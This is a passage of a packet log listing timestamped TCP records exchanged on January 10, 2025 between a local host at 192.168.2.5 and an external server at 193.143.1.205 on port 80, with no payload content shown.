Jan 10, 2025 18:10:33.960613012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960633993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960648060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960650921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.960663080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960679054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960684061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.960710049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961011887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961064100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961078882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961097002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961124897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961139917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961154938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961158037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961173058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961195946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961265087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961280107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961294889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961298943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961309910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961324930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961359024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961410999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961426020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961441040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961456060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961460114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961473942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961488962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961493015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961503983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961520910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961520910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961538076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961551905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961560011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961569071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961584091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961674929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961688995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961705923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961711884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961739063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961805105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961822033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961837053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961854935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961884975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961899042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961914062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961918116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961931944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.961946964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.961987972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962002039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962016106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962023020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962030888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962045908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962050915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962063074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962078094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962078094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962117910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962120056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962135077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962152004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962176085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962208033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962223053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962236881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962244034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962251902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962265968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962268114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962281942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962297916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962762117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962775946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962790966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962806940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962815046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962830067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962832928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962848902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962863922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962872982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962892056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.962944031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962958097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962973118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.962987900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963007927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.963027954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.963084936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963099957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963115931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963134050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.963139057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963155031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963169098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963172913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.963186979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963201046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963215113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963229895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963232040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.963238001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.963246107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963263035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963275909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.963296890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.963726997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963749886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963764906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.963789940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.965223074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.965238094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.965262890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.965277910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.965292931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.965296984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.965307951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.965307951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.965325117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.965334892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.965370893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.969463110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.974477053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.006737947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.006800890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.006830931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.006886959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.006895065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.006932974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.006939888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.006994009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007028103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007030964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.007061958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007098913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007107973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.007128000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007160902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007165909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.007194996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007226944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007239103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.007263899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007296085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007304907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.007350922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007380962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.007395029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.051800966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054419994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054449081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054465055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054490089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054506063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054510117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054519892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054533958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054538012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054553032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054575920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054584980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054594994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054600954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054615974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054634094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054639101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054655075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054661989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054677010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054691076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054698944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054716110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054732084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054737091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054745913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054748058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054757118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054785013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054797888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054806948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054830074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054841042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054845095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054862022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054876089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054877996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054891109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054905891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054905891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054930925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054934025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054945946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054963112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054975033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.054975033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.054991007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055006027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055006981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055021048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055036068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055044889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055059910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055074930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055075884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055098057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055111885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055114031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055126905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055141926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055143118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055155993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055174112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055181026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055195093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055211067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055212021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055224895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055241108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055248022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055265903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055277109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055283070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055298090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055320978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055321932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055346012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055351973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055361032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055376053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055388927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055389881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055404902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055412054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055428028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055442095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055458069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055458069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055474997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055491924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055497885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055515051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055530071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055536985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055552006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055567026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055567980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055593967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055603027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055624962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055624962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055641890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055649996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055655003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055670023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055670977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055685043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055699110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055701017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055716991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055731058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055740118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055754900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055768967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055772066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055783033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055794001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055799007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055826902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055835009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055850029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055864096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055879116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055886984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055895090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055910110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055944920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055959940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055974960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.055975914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.055990934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.056005001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.056005955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.056020021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.056035042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.056040049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.056066036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.122726917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122801065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122813940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122860909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122869015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.122891903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122898102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.122916937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122940063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122953892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122955084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.122970104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122983932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.122986078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.122998953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.123012066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.123016119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.123027086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.123042107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.123042107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.123059988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.123071909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.123075962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.123102903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.127022982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127036095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127085924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127095938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.127099991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127115965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127140999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.127146959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127162933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127180099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.127187014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127202034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127221107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.127224922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127239943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127253056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127257109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.127266884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127283096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127285004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.127295971 CET	80	49704	193.143.1.205	192.168.2.5
